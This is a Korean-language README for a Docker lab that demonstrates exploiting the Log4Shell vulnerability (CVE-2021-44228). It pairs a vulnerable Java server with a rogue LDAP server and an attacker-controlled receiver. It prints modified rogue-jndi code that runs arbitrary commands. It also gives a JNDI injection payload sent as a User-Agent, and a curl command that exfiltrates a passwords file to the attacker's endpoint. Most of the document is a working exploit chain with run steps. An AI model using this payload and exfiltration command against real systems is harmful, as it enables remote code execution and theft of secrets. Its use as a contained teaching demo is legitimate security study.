
CVE-2021-44228 (Log4Shell) 취약점 악용을 위한 Docker 기반 데모로, 취약한 Java 서버, 악의적인 LDAP 서버, 공격자가 제어하는 수신기로의 데이터 유출을 포함합니다.
취약한 서버에서 공격자가 제어하는 웹 서비스로 데이터를 전송하는 CVE-2021-44228의 간단한 데모입니다. 모든 구성 요소는 Docker를 통해 실행됩니다.
이는 표준 Java 서버로, 피해자 역할을 합니다. 다음을 실행합니다:
8u111이 서버는 이 구성에서 취약합니다.
추가 정보:
/logging 엔드포인트 (GET)는 Log4J를 사용하여 사용자 에이전트를 로깅합니다./foo/passwords.txt 파일이 존재합니다 (공격자의 대상)passwords.txt의 내용:
my secret
이는 표준 Java 서버로, 공격자의 데이터 수집기 역할을 합니다. 다음을 실행합니다:
17추가 정보:
receiver 엔드포인트 (POST)는 요청 본문을 로깅합니다.이는 rogue-jndi로 구동되는 LDAP 서버입니다.
ExportJava 클래스가 수정되어 -c 플래그를 통해 전달된 명령이 실행됩니다.
public ExportObject() {
try {
Runtime.getRuntime().exec(Config.command);
} catch(Exception e) {
e.printStackTrace();
}
}
취약한 서버가 요청하면, 인스턴스화될 때 다음 명령을 실행하는 클래스로 응답합니다:
curl -XPOST http://172.18.18.11:8082/receiver --data-binary @/foo/passwords.txt
이렇게 하면 /foo/passwords.txt의 내용이 효과적으로 악의적인 수신기의 준비된 엔드포인트에 POST됩니다.
./build.sh
./start.sh
curl -A '${jndi:ldap://172.18.18.10/o=reference}' localhost:8081/logging
docker logs --timestamps docker_malicious-receiver_1
passwords.txt 파일 내용이 표시되어야 합니다../stop.sh